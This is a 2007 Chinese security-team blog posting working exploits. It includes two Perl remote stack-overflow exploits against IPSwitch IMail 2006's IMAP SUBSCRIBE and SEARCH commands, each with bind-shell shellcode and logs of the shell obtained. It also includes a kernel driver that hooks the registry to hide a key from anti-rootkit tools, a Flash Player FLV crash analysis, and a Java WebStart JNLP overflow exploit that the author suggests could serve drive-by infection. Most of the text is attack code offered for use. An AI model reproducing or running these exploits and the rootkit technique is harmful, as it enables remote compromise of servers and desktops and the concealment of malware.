2007年7月26日星期四

[Exploit]IPSwitch IMail Server 2006 SUBSCRIBE Remote Stack Overflow Exploit

#!/use/bin/perl

# Test on Imail 2006(9.10) imap4d32.exe(6.8.8.1) windows 2003 Chinese SP1
# Code by yunshu, our team: www.ph4nt0m.org  Mail list: http://list.ph4nt0m.org

#F:\>perl imail_SUBSCRIBE.pl 192.168.1.2 test_user test_pass
#* OK IMAP4 Server (IMail 9.10)
#0 OK  LOGIN completed
#* FLAGS (\Answered \Flagged \Deleted \Seen \Draft)
#* 0 EXISTS
#* 0 RECENT
#* OK [UIDVALIDITY 1185270594] UIDs valid
#* OK [UIDNEXT 485270595] Predicted next UID
#2 OK  [READ-WRITE] SELECT completed
#3 OK SUBSCRIBE completed
#Trying……
#Bingle!Maybe get it!
#You can try to telnet 22 port, do you  have nc?


#D:\Microsoft Visual Studio 8\VC>nc -vv 192.168.1.2 22
#192.168.1.2: inverse host lookup failed: h_errno 11004: NO_DATA
# (UNKNOWN) [192.168.1.2] 22 (?) open
#Microsoft Windows [版本 5.2.3790]
#(C) 版权所有 1985-2003 Microsoft  Corp.

#C:\WINDOWS\system32>net user
#net user

#\\ 的用户帐户

#-------------------------------------------------------------------------------
#Administrator             ASPNET                    Guest
#IUSR_WIN2K3               IWAM_WIN2K3               SUPPORT_388945a0
#命令运行完毕,但发生一个或多个错误。


#C:\WINDOWS\ system32>



use strict;
use warnings;
use IO::Socket;

if@ARGV != 3 )
{
    
my $banner = qq{
Imail subscribe exploit
, Test on Imail 2006(9.10),windows 2003 Chinese SP1
You must have a account to login the imap server
, good luck!
Code by yunshu
, our team www.ph4nt0m.org, enjoin this exp~~
                     
imail_subscribe
.pl        
};

    
print $banner."\n";
    
    
exit-1 );
}

my $host = $ARGV[0];
my $user = $ARGV[1];
my $pass = $ARGV[2];

# win32_bind -  EXITFUNC=thread LPORT=22 Size=344 Encoder=Pex http://metasploit.com
my $shellcode =
"\x2b\xc9\x83\xe9\xb0\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x41".
"\xd1\xfd\xbc\x83\xeb\xfc\xe2\xf4\xbd\xbb\x16\xf1\xa9\x28\x02\x43".
"\xbe\xb1\x76\xd0\x65\xf5\x76\xf9\x7d\x5a\x81\xb9\x39\xd0\x12\x37".
"\x0e\xc9\x76\xe3\x61\xd0\x16\xf5\xca\xe5\x76\xbd\xaf\xe0\x3d\x25".
"\xed\x55\x3d\xc8\x46\x10\x37\xb1\x40\x13\x16\x48\x7a\x85\xd9\x94".
"\x34\x34\x76\xe3\x65\xd0\x16\xda\xca\xdd\xb6\x37\x1e\xcd\xfc\x57".
"\x42\xfd\x76\x35\x2d\xf5\xe1\xdd\x82\xe0\x26\xd8\xca\x92\xcd\x37".
"\x01\xdd\x76\xcc\x5d\x7c\x76\xfc\x49\x8f\x95\x32\x0f\xdf\x11\xec".
"\xbe\x07\x9b\xef\x27\xb9\xce\x8e\x29\xa6\x8e\x8e\x1e\x85\x02\x6c".
"\x29\x1a\x10\x40\x7a\x81\x02\x6a\x1e\x58\x18\xda\xc0\x3c\xf5\xbe".
"\x14\xbb\xff\x43\x91\xb9\x24\xb5\xb4\x7c\xaa\x43\x97\x82\xae\xef".
"\x12\x82\xbe\xef\x02\x82\x02\x6c\x27\xb9\xfd\xaa\x27\x82\x74\x5d".
"\xd4\xb9\x59\xa6\x31\x16\xaa\x43\x97\xbb\xed\xed\x14\x2e\x2d\xd4".
"\xe5\x7c\xd3\x55\x16\x2e\x2b\xef\x14\x2e\x2d\xd4\xa4\x98\x7b\xf5".
"\x16\x2e\x2b\xec\x15\x85\xa8\x43\x91\x42\x95\x5b\x38\x17\x84\xeb".
"\xbe\x07\xa8\x43\x91\xb7\x97\xd8\x27\xb9\x9e\xd1\xc8\x34\x97\xec".
"\x18\xf8\x31\x35\xa6\xbb\xb9\x35\xa3\xe0\x3d\x4f\xeb\x2f\xbf\x91".
"\xbf\x93\xd1\x2f\xcc\xab\xc5\x17\xea\x7a\x95\xce\xbf\x62\xeb\x43".
"\x34\x95\x02\x6a\x1a\x86\xaf\xed\x10\x80\x97\xbd\x10\x80\xa8\xed".
"\xbe\x01\x95\x11\x98\xd4\x33\xef\xbe\x07\x97\x43\xbe\xe6\x02\x6c".
"\xca\x86\x01\x3f\x85\xb5\x02\x6a\x13\x2e\x2d\xd4\xae\x1f\x1d\xdc".
"\x12\x2e\x2b\x43\x91\xd1\xfd\xbc";

my $sock = IO::Socket::INET->new( PeerHost=>$host, PeerPort=>"143", proto=>"tcp" ) || die "Connect error.\n";

my $res = <$sock>;
print $res;
if$res !~ /OK/ )
{
    
exit-1 );
}

my $opcode = "\x60\x1A\x9C\x76";
#my $opcode = "\x61\x62\x63\x64";

my $num = 264991;

my $nop = "#IMAILPUB" . "\x90" x ( $num - length($shellcode) ).$shellcode."\x90\x90\xeb\x06".$opcode."\x90\x90\x90\x90"."\xE9\x44\xfd\xff\xff"."\x90" x 400;

# login
print $sock "0 LOGIN $user $pass\r\n";
$res = <$sock>;
if! defined($res) )
{
    
exit(-1);
}

print $res;
if$res !~ /OK/ )
{
    
exit(-1);
}

print $sock "2 SELECT INBOX\r\n";
while<$sock> )
{
    
print $_;
    
if$_ =~ /2 OK/ || $_ =~ /2 BAD/ )
    {
        
last;
    }
}

print $sock "3 SUBSCRIBE \"$nop\"\r\n";
$res = <$sock>;
if! defined($res) )
{
    
exit(-1);
}
print $res;

print "Trying……\n";

sleep15 );
print "Bingle! Maybe get it!\nYou can try to telnet 22 port, do you have nc?\n";

print $sock "4 LOGOUT\r\n";
print <$sock>;

$sock->close();

2007年7月25日星期三

[Exploit]IPSwitch IMail Server 2006 SEARCH Remote Stack Overflow Exploit

#!/use/bin/perl
#
# Ipswitch IMail Server 2006 IMAP SEARCH COMMAND Stack Overflow Exploit
# Author: ZhenHan.Liu#ph4nt0m.org
# Date: 2007-07-25
# Team: Ph4nt0m Security Team (http://www.ph4nt0m.org)
#
# Vuln Found by: Manuel Santamarina Suarez
# http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=563
#
# The Vuln code is here (imap4d32.exe version 6.8.8.1)
#  00418CCA  |.  8B8D 28EFFFFF |MOV ECX,DWORD PTR SS:[EBP-10D8]
#  00418CD0  |.  0FBE11        |MOVSX EDX,BYTE PTR DS:[ECX]
#  00418CD3  |.  83FA 22       |CMP EDX,22
#  00418CD6  |.  75 2A         |JNZ SHORT IMAP4D32.00418D02
#  00418CD8  |.  8B85 28EFFFFF |MOV EAX,DWORD PTR SS:[EBP-10D8]
#  00418CDE  |.  50            |PUSH EAX                                ; /String
#  00418CDF  |.  FF15 84004300 |CALL DWORD PTR DS:[<&KERNEL32.lstrlenA>>; \lstrlenA
#  00418CE5  |.  83E8 02       |SUB EAX,2
#  00418CE8  |.  50            |PUSH EAX                                ; /maxlen
#  00418CE9  |.  8B8D 28EFFFFF |MOV ECX,DWORD PTR SS:[EBP-10D8]         ; |
#  00418CEF  |.  83C1 01       |ADD ECX,1                               ; |
#  00418CF2  |.  51            |PUSH ECX                                ; |src
#  00418CF3  |.  8D55 AC       |LEA EDX,DWORD PTR SS:[EBP-54]           ; |
#  00418CF6  |.  52            |PUSH EDX                                ; |dest
#  00418CF7  |.  FF15 00024300 |CALL DWORD PTR DS:[<&MSVCR71.strncpy>]  ; \strncpy
#  00418CFD  |.  83C4 0C       |ADD ESP,0C
#  00418D00  |.  EB 13         |JMP SHORT IMAP4D32.00418D15
#  00418D02  |>  8B85 28EFFFFF |MOV EAX,DWORD PTR SS:[EBP-10D8]
#  00418D08  |.  50            |PUSH EAX                                ; /src
#  00418D09  |.  8D4D AC       |LEA ECX,DWORD PTR SS:[EBP-54]           ; |
#  00418D0C  |.  51            |PUSH ECX                                ; |dest
#  00418D0D  |.  E8 7E610100   |CALL <JMP.&MSVCR71.strcpy>              ; \strcpy
#  00418D12  |.  83C4 08       |ADD ESP,8
#  
#  The programmer has made an extreamly stupid mistake.
#  He checks the arg's first byte, if it is 0x22( " ),then invoke strcpy,
#  else strncpy.
#  the buffer overflow takes place when the strcpy is called.
#  But the strncpy is also vulnerable,because it just likes this: strncpy(dest, src, strlen(src)); 
#  So, whether the command was started with a '"' or not, the stack overflow will take place immediately.  

#  Multiple SEARCH COMMAND is vulnerable,in this case, we use "SEARCH ON".
#  But others like "SEARCH BEFORE" command will also trigger the overflow.
#
#  NOTES: To trigger the Vuln, there must be at least one mail in the mailbox!!
#
#  Badchar is: 0x00 0x0a 0x0d 0x0b 0x09 0x0c 0x20
#
# Tested On Windows 2003 SP1 CN
#
#  D:\>perl imap.pl 192.168.226.128 143
#  * OK IMAP4 Server (IMail 9.10)
#  0 OK LOGIN completed
#  * FLAGS (\Answered \Flagged \Deleted \Seen \Draft)
#  * 1 EXISTS
#  * 1 RECENT
#  * OK [UIDVALIDITY 1185337300] UIDs valid
#  * OK [UIDNEXT 485337302] Predicted next UID
#  2 OK [READ-WRITE] SELECT completed
#  -------------- [BEGIN] -------------------
#  ----------------  [END]  ------------------
#  
#
#  D:\>nc -vv -n 192.168.226.128 1154
#  (UNKNOWN) [192.168.226.128] 1154 (?) open
#  Microsoft Windows [°æ±¾ 5.2.3790]
#  (C) °æȨËùÓР1985-2003 Microsoft Corp.
#  
#  C:\WINDOWS\system32>
#
#



use strict;
use warnings;
use IO::Socket;

#Target IP
my $host = shift ;
my $port = shift ;
my $account = "void";
my $password = "ph4nt0m.org";

my $pad1 = "void[at]ph4nt0m.org_" x 4 . "ph4nt0m";
my $pad2 = 'void[at]pstgroup';
my $jmpesp = "\x12\x45\xfa\x7f"# Windows 2000/xp/2003 Universal

# win32_bind -  EXITFUNC=thread LPORT=1154 Size=344 Encoder=Pex http://metasploit.com

my $shellcode =
"\x29\xc9\x83\xe9\xb0\xe8\xff\xff\xff\xff\xc0\x5e\x81\x76\x0e\xb6".
"\x78\xf8\x75\x83\xee\xfc\xe2\xf4\x4a\x12\x13\x38\x5e\x81\x07\x8a".
"\x49\x18\x73\x19\x92\x5c\x73\x30\x8a\xf3\x84\x70\xce\x79\x17\xfe".
"\xf9\x60\x73\x2a\x96\x79\x13\x3c\x3d\x4c\x73\x74\x58\x49\x38\xec".
"\x1a\xfc\x38\x01\xb1\xb9\x32\x78\xb7\xba\x13\x81\x8d\x2c\xdc\x5d".
"\xc3\x9d\x73\x2a\x92\x79\x13\x13\x3d\x74\xb3\xfe\xe9\x64\xf9\x9e".
"\xb5\x54\x73\xfc\xda\x5c\xe4\x14\x75\x49\x23\x11\x3d\x3b\xc8\xfe".
"\xf6\x74\x73\x05\xaa\xd5\x73\x35\xbe\x26\x90\xfb\xf8\x76\x14\x25".
"\x49\xae\x9e\x26\xd0\x10\xcb\x47\xde\x0f\x8b\x47\xe9\x2c\x07\xa5".
"\xde\xb3\x15\x89\x8d\x28\x07\xa3\xe9\xf1\x1d\x13\x37\x95\xf0\x77".
"\xe3\x12\xfa\x8a\x66\x10\x21\x7c\x43\xd5\xaf\x8a\x60\x2b\xab\x26".
"\xe5\x2b\xbb\x26\xf5\x2b\x07\xa5\xd0\x10\xfc\xf7\xd0\x2b\x71\x94".
"\x23\x10\x5c\x6f\xc6\xbf\xaf\x8a\x60\x12\xe8\x24\xe3\x87\x28\x1d".
"\x12\xd5\xd6\x9c\xe1\x87\x2e\x26\xe3\x87\x28\x1d\x53\x31\x7e\x3c".
"\xe1\x87\x2e\x25\xe2\x2c\xad\x8a\x66\xeb\x90\x92\xcf\xbe\x81\x22".
"\x49\xae\xad\x8a\x66\x1e\x92\x11\xd0\x10\x9b\x18\x3f\x9d\x92\x25".
"\xef\x51\x34\xfc\x51\x12\xbc\xfc\x54\x49\x38\x86\x1c\x86\xba\x58".
"\x48\x3a\xd4\xe6\x3b\x02\xc0\xde\x1d\xd3\x90\x07\x48\xcb\xee\x8a".
"\xc3\x3c\x07\xa3\xed\x2f\xaa\x24\xe7\x29\x92\x74\xe7\x29\xad\x24".
"\x49\xa8\x90\xd8\x6f\x7d\x36\x26\x49\xae\x92\x8a\x49\x4f\x07\xa5".
"\x3d\x2f\x04\xf6\x72\x1c\x07\xa3\xe4\x87\x28\x1d\x59\xb6\x18\x15".
"\xe5\x87\x2e\x8a\x66\x78\xf8\x75";


my $sock = IO::Socket::INET->new( PeerHost=>$host, PeerPort=>$port, proto=>"tcp" ) || die "Connect error.\n";

my $res = <$sock>;
print $res;
if$res !~ /OK/ )
{
    
exit(-1);
}

# login
print $sock "0 LOGIN $account $password\r\n";
print $res = <$sock>;
if$res !~ /0 OK/ )
{
    
exit(-1);
}

# select
print $sock "1 SELECT INBOX\r\n";
while(1)
{
    
print $res = <$sock>;
    
if($res =~ /1 OK/)
    {    
last; }
    
elsif($res =~ /1 NO/ || $res =~ /BAD/)
    {     
exit(-1); }
    
else
    {    
next; }
}

# search
my $payload = $pad1.$jmpesp.$pad2.$shellcode;
print $sock "2 SEARCH ON <$payload>\r\n";

$sock->close();

# milw0rm.com [2007-07-25]

2007年7月22日星期日

[Tips]一段隐藏注册表项的代码

Author: zzzevazzz
Date: 2007-07-22
Team: http://www.ph4nt0m.org

发一段隐藏注册表项的驱动代码,可以过目前最新的IceSword1.22。

以前驱动开发网悬赏挑战IceSword时写的,不过最后没公开。那时流氓软件势头正劲,我可不想火上浇油。现在反流氓软件日渐成熟,也就没关系了。知道了原理,防御是非常容易的。

原理很简单,实现的代码也很短,啥都不用说,各位直接看示例代码吧。

#include <ntddk.h>

#define GET_PTR(ptr, offset) ( *(PVOID*)( (ULONG)ptr + (offset##Offset) ) )

#define CM_KEY_INDEX_ROOT      0x6972         // ir
#define CM_KEY_INDEX_LEAF      0x696c         // il
#define CM_KEY_FAST_LEAF       0x666c         // fl
#define CM_KEY_HASH_LEAF       0x686c         // hl

// 一些CM的数据结构,只列出用到的开头部分
#pragma pack(1)
typedef 
struct _CM_KEY_NODE {
       USHORT Signature;
       USHORT Flags;
       LARGE_INTEGER LastWriteTime;
       ULONG Spare;               
// used to be TitleIndex
       HANDLE Parent;
       ULONG SubKeyCounts[
2];     // Stable and Volatile
       HANDLE SubKeyLists[2];     // Stable and Volatile
       
// ...
} CM_KEY_NODE, *PCM_KEY_NODE;

typedef 
struct _CM_KEY_INDEX {
       USHORT Signature;
       USHORT Count;
       HANDLE List[
1];
} CM_KEY_INDEX, 
*PCM_KEY_INDEX;

typedef 
struct _CM_KEY_BODY {
       ULONG Type;                
// "ky02"
       PVOID KeyControlBlock;
       PVOID NotifyBlock;
       PEPROCESS Process;         
// the owner process
       LIST_ENTRY KeyBodyList; // key_nodes using the same kcb
} CM_KEY_BODY, *PCM_KEY_BODY;

typedef PVOID (__stdcall 
*PGET_CELL_ROUTINE)(PVOID, HANDLE);

typedef 
struct _HHIVE {
       ULONG Signature;
       PGET_CELL_ROUTINE GetCellRoutine;
       
// ...
} HHIVE, *PHHIVE;
#pragma pack()

// 需隐藏的主键名
WCHAR g_HideKeyName[] = L"\\Registry\\Machine\\SYSTEM\\CurrentControlSet\\Services\\Beep";

PGET_CELL_ROUTINE g_pGetCellRoutine 
= NULL;
PGET_CELL_ROUTINE
* g_ppGetCellRoutine = NULL;

PCM_KEY_NODE g_HideNode 
= NULL;
PCM_KEY_NODE g_LastNode 
= NULL;

// 打开指定名字的Key
HANDLE OpenKeyByName(PCWSTR pwcsKeyName)
{
       NTSTATUS status;
       UNICODE_STRING uKeyName;
       OBJECT_ATTRIBUTES oa;
       HANDLE hKey;

       RtlInitUnicodeString(
&uKeyName, pwcsKeyName);
       InitializeObjectAttributes(
&oa, &uKeyName, OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE, NULL, NULL);
       status 
= ZwOpenKey(&hKey, KEY_READ, &oa);
       
if (!NT_SUCCESS(status))
       {
           DbgPrint(
"ZwOpenKey Failed: %lx\n", status);
           
return NULL;
       }

       
return hKey;
}

// 获取指定Key句柄的KeyControlBlock
PVOID GetKeyControlBlock(HANDLE hKey)
{
       NTSTATUS status;
       PCM_KEY_BODY KeyBody;
       PVOID KCB;

       
if (hKey == NULL) return NULL;

       
// 由Key句柄获取对象体
       status = ObReferenceObjectByHandle(hKey, KEY_READ, NULL, KernelMode, &KeyBody, NULL);
       
if (!NT_SUCCESS(status))
       {
           DbgPrint(
"ObReferenceObjectByHandle Failed: %lx\n", status);
           
return NULL;
       }

       
// 对象体中含有KeyControlBlock
       KCB = KeyBody->KeyControlBlock;
       DbgPrint(
"KeyControlBlock = %lx\n", KCB);

       ObDereferenceObject(KeyBody);

       
return KCB;
}

// 获取父键的最后一个子键的节点
PVOID GetLastKeyNode(PVOID Hive, PCM_KEY_NODE Node)
{
       
// 获取父键的节点
       PCM_KEY_NODE ParentNode = (PCM_KEY_NODE)g_pGetCellRoutine(Hive, Node->Parent);
       
// 获取子键的索引
       PCM_KEY_INDEX Index = (PCM_KEY_INDEX)g_pGetCellRoutine(Hive, ParentNode->SubKeyLists[0]);

       DbgPrint(
"ParentNode = %lx\nIndex = %lx\n", ParentNode, Index);

       
// 如果为根(二级)索引,获取最后一个索引
       if (Index->Signature == CM_KEY_INDEX_ROOT)
       {
           Index 
= (PCM_KEY_INDEX)g_pGetCellRoutine(Hive, Index->List[Index->Count-1]);
           DbgPrint(
"Index = %lx\n", Index);
       }

       
if (Index->Signature == CM_KEY_FAST_LEAF || Index->Signature == CM_KEY_HASH_LEAF)
       {
           
// 快速叶索引(2k)或散列叶索引(XP/2k3),返回最后的节点
           return g_pGetCellRoutine(Hive, Index->List[2*(Index->Count-1)]);
       }
       
else
       {
           
// 一般叶索引,返回最后的节点
           return g_pGetCellRoutine(Hive, Index->List[Index->Count-1]);
       }
}

// GetCell例程的钩子函数
PVOID MyGetCellRoutine(PVOID Hive, HANDLE Cell)
{
       
// 调用原函数
       PVOID pRet = g_pGetCellRoutine(Hive, Cell);
       
if (pRet)
       {
           
// 返回的是需要隐藏的节点
           if (pRet == g_HideNode)
           {
               DbgPrint(
"GetCellRoutine(%lx, %08lx) = %lx\n", Hive, Cell, pRet);
               
// 查询、保存并返回其父键的最后一个子键的节点
               pRet = g_LastNode = (PCM_KEY_NODE)GetLastKeyNode(Hive, g_HideNode);
               DbgPrint(
"g_LastNode = %lx\n", g_LastNode);
               
// 隐藏的正是最后一个节点,返回空值
               if (pRet == g_HideNode) pRet = NULL;
           }
           
// 返回的是先前保存的最后一个节点
           else if (pRet == g_LastNode)
           {
               DbgPrint(
"GetCellRoutine(%lx, %08lx) = %lx\n", Hive, Cell, pRet);
               
// 清空保存值,并返回空值
               pRet = g_LastNode = NULL;
           }
       }
       
return pRet;
}

NTSTATUS DriverUnload(PDRIVER_OBJECT pDrvObj)
{
       DbgPrint(
"DriverUnload()\n");
       
// 解除挂钩
       if (g_ppGetCellRoutine) *g_ppGetCellRoutine = g_pGetCellRoutine;
       
return STATUS_SUCCESS;
}

NTSTATUS DriverEntry(PDRIVER_OBJECT pDrvObj, PUNICODE_STRING pRegPath)
{
       ULONG BuildNumber;
       ULONG KeyHiveOffset;       
// KeyControlBlock->KeyHive
       ULONG KeyCellOffset;       // KeyControlBlock->KeyCell
       HANDLE hKey;
       PVOID KCB, Hive;

       DbgPrint(
"DriverEntry()\n");

       pDrvObj
->DriverUnload = DriverUnload;

       
// 查询BuildNumber
       if (PsGetVersion(NULL, NULL, &BuildNumber, NULL)) return STATUS_NOT_SUPPORTED;
       DbgPrint(
"BuildNumber = %d\n", BuildNumber);

       
// KeyControlBlock结构各版本略有不同
       
// Cell的值一般小于0x80000000,而Hive正相反,以此来判断也可以
       switch (BuildNumber)
       {
           
case 2195:     // Win2000
               KeyHiveOffset = 0xc;
               KeyCellOffset 
= 0x10;
               
break;
           
case 2600:     // WinXP
           case 3790:     // Win2003
               KeyHiveOffset = 0x10;
               KeyCellOffset 
= 0x14;
               
break;
           
default:
               
return STATUS_NOT_SUPPORTED;
       }

       
// 打开需隐藏的键
       hKey = OpenKeyByName(g_HideKeyName);
       
// 获取该键的KeyControlBlock
       KCB = GetKeyControlBlock(hKey);
       
if (KCB)
       {
           
// 由KCB得到Hive
           PHHIVE Hive = (PHHIVE)GET_PTR(KCB, KeyHive);
           
// GetCellRoutine在KCB中,保存原地址
           g_ppGetCellRoutine = &Hive->GetCellRoutine;
           g_pGetCellRoutine 
= Hive->GetCellRoutine;
           DbgPrint(
"GetCellRoutine = %lx\n", g_pGetCellRoutine);
           
// 获取需隐藏的节点并保存
           g_HideNode = (PCM_KEY_NODE)g_pGetCellRoutine(Hive, GET_PTR(KCB, KeyCell));
           
// 挂钩GetCell例程
           Hive->GetCellRoutine = MyGetCellRoutine;
       }
       ZwClose(hKey);

       
return STATUS_SUCCESS;
}

2007年7月15日星期日

[Exploit][MSA01110707] Flash Player/Plugin Video file parsing Remote Code Execution POC

Author:云舒(yunshu)
2007-07-16
http://www.ph4nt0m.org

这个漏洞的分析是在这里:http://seclists.org/fulldisclosure/2007/Jul/0277.html,luoluo做出了一个POC,晚上有空,我跟了一下,郁闷的很,在这里简单的说说。我用的是Flash player 9.0.45.0,winxp sp2中文版。

看了分析之后,就开始跟luoluo给的POC,第一次异常发生在这里:

3019CE18 C1E9 02 SHR ECX,2
3019CE1B 83E2
03 AND EDX,3
3019CE1E 83F9
08 CMP ECX,8
3019CE21
72 29 JB SHORT Flash9c.3019CE4C
3019CE23 F3:A5 REP MOVS DWORD PTR ES:[EDI],DWORD PTR DS:[ESI]


随后我慢慢耐心的用shift+ f7一步一步的往下走,一直走到头晕眼花的时候,终于到了这样一个有意思的地方:
300ED77D 85C9 TEST ECX,ECX
300ED77F 0F84
00070000 JE Flash9c.300EDE85
300ED785 8B01 MOV EAX,DWORD PTR DS:[ECX]
300ED787 FF50
20 CALL DWORD PTR DS:[EAX+20]


先判断ECX是否为空,不空则把ECX处的内容赋给EAX,然后call。这样如果[ECX]可控的话,就有可能能够利用了。仔细试了几次,发现 [ECX]几乎每次都不一样,但是可以确定的是,[ecx]是flv文件内的内容。一怒之下,我把开头除了文件头的格式之外的所有内容都改成了01。一跟,运气很好,蒙对了,[ECX]变成了0x01010101,也就是说下一步要执行的内容我们可以控制了。但是现在问题是,我把我的shellcode 放到哪里去了?如果把文件的内容改成shellcode,[ECX]不可控了;[ECX]一定可控,则shellcode没地方放了。

在EMM的提醒下,尝试用HeapSpray来做,可惜还是可耻的失败了。HeapSpray之后,[ECX]变了,没法控制到下一步CALL的位置……或许这个漏洞的利用办法还是把shellcode放到文件中某个特殊的位置吧,加长文件或许可以。困得不行,睡觉先。附件这个rar是控制EAX 的POC,有兴趣的看看吧。

附件:flv_9.0.45.0.rar

2007年7月11日星期三

[Exploit]Sun Java WebStart JNLP Stack Buffer Overflow Exploit 1

by axis
2007-07-11
http://www.ph4nt0m.org

最终我还是决定把这个鸡肋的exp放出来。
废话不多说了,exp如下:

<?xml version="1.0" encoding="utf-8"?>
<jnlp spec="1.0+" codebase="http://TYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIil3ZJKpMKXyiKOYo9o1plKPlWT14LKw5gLLK3LUU48UQjOlKbodXLKSoupuQZKrilK4tNkeQZN01yPlYnLMTO0QdwwiQxJFmVaxBXkZTWKpTvDWXqeYuLKaO6DUQzKpflKTLpKLKQOWlC1ZKgsfLLKLIbLwT5LSQjcdqkksTLKw3vPNkSpVlLK2PuLnMLKW0c8aNU8LNPNVnJLpPyozvPf2srF3XWCFRaxQgps7B1OPTkOzpphJkZMKLwKPPkOKfQOMYm556mQZMtHuRpURJURYoxPQxkiuYyelmqGYoxVf3Rs3cf3CcG3BspCscKOjpav3X5TorqvpSoyxaLUU8nDTZ2PO7v7KOHVazdPPQaE9oHPqxOTnMdn9y0WYoZvPSSeyoN058KUg9K6QYV7KOzvV0RtbtRuYoJpLSU8kWcIO6QisgYokfpU9ohPpfQzRDbFPh53PmmYKU1zf0pYq9xLOyHgRJQTniYrtqYPxsNJKN72TmynpBvLZ3LMpzVXNKNKLkcXsBInlsUFKOBUBdkO8VCk2w2rpQv1casZuQv1CaPUf1YoZpE8LmXY7uxNPSyoJv0jkOYo5gioJpLKRwYlk3KtQt9oXVQBkON0sXxojnYpe0rsKON6KOZpAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAALLLLYIIIIIIIIIIIIIIIQZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJINkJtMQZLkK34UPuPkOJDAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA&0v" >
  
<information>
    
<title>Test Swing Java Web Start</title>
    
<vendor>Pan Daoen</vendor>
    
<description>Swing Application</description>
    
<offline-allowed/>
  
</information>
  
<resources>
    
<j2se version="1.5+"/>
    
<jar href=""/>
  
</resources>
  
<application-desc/>
</jnlp>


其中覆盖字符串的最后 &0v 是16进制的 0x76302619, 这个地址是 pop/pop/pop/retn
因为字符范围要是在 0x01--0x7f ,所以找这个opcode很费了我点心思。

我测试的版本是 jre 1.5.0_11 , 简体中文 xp sp2
在我的环境中, 在[esp+10h]处有一个指向payload中一段的拷贝,所以我先跳过去,然后执行第一段shellcode
mov edx, esp
sub esp, 4fbh
jmp esp

因为edx也指向栈内,所以精确计算后,就把esp指向了第二段shellcode,然后就可以执行真正的shellcode了。

不过这个方法好像只对我的版本有效,luoluo的jre是1.6的,栈内就少了很多指向shellcode的指针了。

还可以考虑覆盖seh,可能会通用点,没继续跟了,有兴趣的不妨自己改改。

这个漏洞是属于文件型的,可以ie下载后执行。如果配置了webserver,应该可以起到挂马的作用,而且不挂ie。 但是这个漏洞是和当前登录的用户名长度有关的,所以可能要同时放置许多不同长度payload的文件到某目录下,虽然这样可能会造成出错,但是ie是不受影响的。

最后在调试shellcode的时候一定要多加注意。